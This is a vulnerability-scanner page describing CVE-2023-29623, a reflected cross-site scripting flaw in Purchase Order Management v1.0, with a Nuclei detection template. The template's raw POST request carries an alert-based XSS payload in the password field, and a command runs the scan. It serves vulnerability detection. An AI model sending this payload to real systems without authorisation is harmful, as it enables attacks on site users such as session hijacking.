Purchase Order Management v1.0 - Cross Site Scripting (Reflected)

ID: CVE-2023-29623

Severity: medium

Author: theamanrawat

Tags: cve2023,cve,xss,purchase-order-management-system,purchase_order_management_project

Description

Purchase Order Management v1.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the password parameter at /purchase_order/classes/login.php.

YAML Source

id: CVE-2023-29623

info:
  name: Purchase Order Management v1.0 - Cross Site Scripting (Reflected)
  author: theamanrawat
  severity: medium
  description: |
    Purchase Order Management v1.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the password parameter at /purchase_order/classes/login.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Purchase-Order-Management-1.0/XSS-Reflected
    - https://www.sourcecodester.com/php/14935/purchase-order-management-system-using-php-free-source-code.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-29623
    - https://portswigger.net/web-security/cross-site-scripting/reflected
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-29623
    cwe-id: CWE-79
    epss-score: 0.00135
    epss-percentile: 0.48708
    cpe: cpe:2.3:a:purchase_order_management_project:purchase_order_management:1.0:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: purchase_order_management_project
    product: purchase_order_management
  tags: cve2023,cve,xss,purchase-order-management-system,purchase_order_management_project

http:
  - raw:
      - |
        POST /classes/Login.php?f=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        username={{randstr}}&password=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=x onerror=alert(document.domain)>"
          - "incorrect"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009ce0a6aac15b70178a93f692d5cdaa249062d2b5d61a192cc538c6ddad9300cf02206a329d203484b0c33f474817987523ad4a7a3e6f2673cbf476e9b0c221ebc8c2:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-29623.yaml"

View on Github